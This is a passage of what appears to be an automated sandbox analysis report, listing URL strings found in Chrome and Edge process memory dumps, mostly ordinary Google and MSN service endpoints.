Source: chrome.exe, 00000003.00000003.2389500610.00001344017A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389252155.0000134401794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389407002.00001344017A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389379318.000013440179C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389187871.0000134401790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389321794.0000134401798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/e
Source: chrome.exe, 00000003.00000003.2389500610.00001344017A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389252155.0000134401794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389407002.00001344017A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389379318.000013440179C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389187871.0000134401790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389321794.0000134401798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/g
Source: chrome.exe, 00000003.00000003.2389500610.00001344017A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389252155.0000134401794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389407002.00001344017A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389379318.000013440179C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389187871.0000134401790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389321794.0000134401798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/h
Source: chrome.exe, 00000003.00000003.2389500610.00001344017A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389252155.0000134401794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389407002.00001344017A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389379318.000013440179C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389187871.0000134401790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389321794.0000134401798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/j
Source: chrome.exe, 00000003.00000003.2389500610.00001344017A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389252155.0000134401794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389407002.00001344017A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389379318.000013440179C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389187871.0000134401790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389321794.0000134401798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/q
Source: chrome.exe, 00000003.00000003.2389500610.00001344017A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389252155.0000134401794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389407002.00001344017A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389379318.000013440179C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389187871.0000134401790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389321794.0000134401798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/r
Source: chrome.exe, 00000003.00000003.2389500610.00001344017A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389252155.0000134401794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389407002.00001344017A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389379318.000013440179C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389187871.0000134401790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389321794.0000134401798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/y
Source: chrome.exe, 00000003.00000003.2389500610.00001344017A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389252155.0000134401794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2438294797.00006ACC00920000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389407002.00001344017A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389379318.000013440179C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389187871.0000134401790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389321794.0000134401798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2387891470.00006ACC00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2341889901.00006ACC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000003.00000003.2389500610.00001344017A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389252155.0000134401794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389407002.00001344017A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389379318.000013440179C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389187871.0000134401790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389321794.0000134401798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 00000003.00000002.2426514606.00001344001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2425131478.000013440000C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000002.2546909607.0000199C00394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000003.00000002.2426514606.00001344001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/googleapis.com
Source: chrome.exe, 00000003.00000002.2428243253.0000134400670000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleusercontent.com/
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: jw4w4o.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000003.00000002.2431512024.0000134400E70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428742796.00001344007A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428775072.00001344007B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2427724772.00001344004CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 00000003.00000002.2431512024.0000134400E70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428742796.00001344007A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428775072.00001344007B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2427724772.00001344004CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 00000003.00000003.2341889901.00006ACC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000003.00000003.2386857904.0000134401C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2437115957.00006ACC00238000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428775072.00001344007B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2438233014.00006ACC00904000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2386748962.0000134401C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000003.00000003.2387891470.00006ACC00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2341889901.00006ACC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000003.00000003.2387891470.00006ACC00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2341889901.00006ACC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000003.00000002.2438233014.00006ACC00904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000003.00000002.2437115957.00006ACC00238000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2438233014.00006ACC00904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardj
Source: chrome.exe, 00000003.00000003.2341889901.00006ACC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000003.00000003.2359742467.000013440120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359636796.0000134401128000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359526888.0000134400420000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000003.00000003.2359742467.000013440120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359636796.0000134401128000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359526888.0000134400420000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000003.00000003.2387891470.00006ACC00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2341889901.00006ACC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000003.00000003.2342491444.00006ACC0087C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359636796.0000134401128000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359526888.0000134400420000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000003.00000003.2341889901.00006ACC0071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2386450906.0000134401384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000003.00000002.2438294797.00006ACC00920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus
Source: chrome.exe, 00000003.00000002.2438294797.00006ACC00920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918=
Source: chrome.exe, 00000003.00000002.2438172805.00006ACC008D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 00000003.00000002.2426514606.00001344001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2343945573.00001344001C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/
Source: chrome.exe, 00000003.00000002.2431735931.0000134400F6E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2385411219.0000134400F6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000003.00000002.2431512024.0000134400E70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431735931.0000134400F6E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431979612.000013440106C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2432152718.00001344010DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2385411219.0000134400F6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000003.00000002.2431979612.000013440106C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2432152718.00001344010DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webappD
Source: chrome.exe, 00000003.00000002.2431735931.0000134400F6E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2385411219.0000134400F6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000003.00000002.2428328008.00001344006A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431735931.0000134400F6E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2432152718.00001344010DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2385411219.0000134400F6E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2429773152.0000134400A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: msedge.exe, 00000006.00000002.2546909607.0000199C00394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: msedge.exe, 00000006.00000002.2546909607.0000199C00394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: chrome.exe, 00000003.00000002.2428686241.0000134400760000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431034314.0000134400D54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2427810039.0000134400508000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000003.00000002.2431402392.0000134400E2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428686241.0000134400760000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2427810039.0000134400508000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000003.00000002.2431402392.0000134400E2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacyf
Source: chrome.exe, 00000003.00000002.2427691499.000013440049C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431402392.0000134400E2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428686241.0000134400760000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email?utm_source=chrome2B
Source: chrome.exe, 00000003.00000002.2427691499.000013440049C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428686241.0000134400760000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431878966.0000134400FD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000003.00000003.2356670490.0000134400F78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2429300259.000013440097F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2429359097.0000134400988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 2cc80dabc69f58b6_1.8.dr, 000003.log2.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.8.dr, 000003.log2.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: chrome.exe, 00000003.00000002.2426514606.00001344001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000003.00000002.2426648254.000013440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: msedge.exe, 00000006.00000002.2546909607.0000199C00394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: chrome.exe, 00000003.00000003.2380310047.0000134400294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000003.00000003.2351069147.0000134400784000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2432342386.000013440111C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2429975285.0000134400AB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430324207.0000134400BD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000003.00000002.2430221162.0000134400B4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2351069147.0000134400784000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431545358.0000134400E90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430324207.0000134400BD1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2426752438.000013440027C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000003.00000003.2351069147.0000134400784000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430324207.0000134400BD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000003.00000002.2432342386.000013440111C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430324207.0000134400BD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000003.00000003.2351069147.0000134400784000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2432342386.000013440111C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430324207.0000134400BD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000003.00000003.2351069147.0000134400784000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2432342386.000013440111C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430324207.0000134400BD1000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2426962639.00001344002C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000003.00000003.2351069147.0000134400784000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2429975285.0000134400AB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430324207.0000134400BD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000003.00000002.2433981309.0000134401EB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000003.00000002.2427724772.00001344004CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: msedge.exe, 00000006.00000003.2473670172.0000199C00270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2474550708.0000199C00274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 00000006.00000003.2473670172.0000199C00270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2474550708.0000199C00274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 00000006.00000003.2473670172.0000199C00270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2474550708.0000199C00274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzen
Source: msedge.exe, 00000006.00000003.2473670172.0000199C00270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2474550708.0000199C00274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 00000006.00000003.2473670172.0000199C00270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2474550708.0000199C00274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 00000006.00000003.2473670172.0000199C00270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2474550708.0000199C00274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 00000006.00000003.2473670172.0000199C00270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2474550708.0000199C00274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 00000006.00000003.2473670172.0000199C00270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2474550708.0000199C00274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 00000006.00000003.2473670172.0000199C00270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2474550708.0000199C00274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 00000006.00000003.2473670172.0000199C00270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2474550708.0000199C00274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 00000006.00000003.2473670172.0000199C00270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2474550708.0000199C00274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 00000006.00000003.2473670172.0000199C00270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2474550708.0000199C00274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 00000006.00000003.2473670172.0000199C00270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2474550708.0000199C00274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 00000006.00000003.2473670172.0000199C00270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2474550708.0000199C00274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
